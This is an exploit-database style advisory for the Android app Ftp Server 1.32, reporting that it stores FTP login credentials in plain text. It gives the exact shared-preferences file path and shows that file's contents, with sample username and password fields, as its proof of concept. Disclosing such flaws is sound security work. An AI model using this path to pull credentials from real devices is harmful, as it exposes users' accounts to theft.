Ftp Server 1.32 - Credential Disclosure

# Exploit Title: Ftp Server 1.32 - Credential Disclosure
# Date: 2018-05-29
# Software Link: https://play.google.com/store/apps/details?id=com.theolivetree.ftpserver
# Version: 1.32 Android App
# Vendor: The Olive Tree
# Exploit Author: ManhNho
# CVE: N/A
# Category: Mobile Apps
# Tested on: Android 4.4

# Description
# Ftp Server 1.32 Insecure Data Storage, the result of storing confidential
# information insecurely on the system i.e. poor encryption, plain text, 
# access control issues etc. Attacker can find out username/password of valid user via
# /data/data/com.theolivetree.ftpserver/shared_prefs/com.theolivetree.ftpserver_preferences.xml

# PoC

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="prefPort">2221</string>
    <string name="prefPasivePort">2300-2399</string>
    <string name="prefUserpass">ManhNho</string>
    <boolean name="prefEnergySave" value="false" />
    <boolean name="prefShowHidden" value="false" />
    <boolean name="prefShowCredentials" value="true" />
    <string name="prefInterfaces">0</string>
    <string name="prefHomeDir">1</string>
    <string name="prefUsername">ManhNho</string>
    <boolean name="prefReadonly" value="false" />
    <boolean name="prefAnonymous" value="true" />
    <boolean name="prefForeground" value="true" />
</map>